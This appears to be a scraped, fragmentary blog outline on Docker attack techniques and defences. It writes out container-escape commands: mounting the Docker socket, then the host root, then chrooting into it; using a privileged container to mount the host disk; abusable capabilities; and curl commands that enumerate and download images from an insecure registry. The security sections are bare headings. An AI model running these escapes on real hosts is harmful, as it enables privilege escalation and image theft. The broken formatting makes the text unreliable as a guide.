Attacking and securing Docker containers

Attacking and securing Docker containers

Docker Architecture

Docker Client

#RUN A NGINX CONTAINER WITH PORT 80 BINDING HOST-CONTAINER
docker run -d -p 80:80 nginx#PULL UBUNTU 22.04 DOCKER IMAGE
docker pull ubuntu:22.04#SHOWS DOCKER IMAGES IN YOUR DOCKER SYSTEM
docker images#HELPER FOR DOCKER NETWORKS
docker network#HELPER FOR DOCKER VOLUMES
docker volume

Docker Daemon

Docker Registry

Threats to Docker environment

Docker socket

docker run -d -v /var/run/docker.sock:/var/run/docker.sock <image_name>:<image_tag>- find / -name docker.sock 2>/dev/null

- docker images

- docker run -it -v /:/host <image_name>:<image_tag> chroot /host bash-H tcp://0.0.0.0:XXX

Privileged container

docker run -d --privileged <image_name>:<image_tag> - capsh --print

 - fdisk -l

 - mount /target/disk /mnt/

 - chroot /mnt/ bash

Capabilities abuse

CAP_SYS_ADMIN
CAP_SYS_PTRACE
CAP_SYS_MODULE
DAC_READ_SEARCH
DAC_OVERRIDE
CAP_SYS_RAWIO
CAP_SYSLOG
CAP_NET_RAW
CAP_NET_ADMINcapsh --print

Shared network

docker run -d --network host <image_name>:<image_tag>ip addr

Abuse group membership

- docker images

- cat /etc/group | grep docker

Containerd abuse

runc abuse

Management tool abuse

Insecure Docker registry

- curl http://<target_registry>:5000/v2/_catalog

- curl http://<target_registry>:5000/v2/<repository_name>/tags/list

- curl http://<target_registry>:5000/v2/<repository_name>/manifests/<tag>

- curl -s http://<target_registry>:5000/v2/<repository_name>/blobs/<blobSum_value> --output
     <output_filename>.tar

Fake images (backdoor)

Auditing and security on Docker

Audit Docker socket and secure it

Audit Docker group

Audit Docker configuration

Tools for Docker Security

Securing containers

Seccomp

AppArmor

User namespace remapping

Rootless mode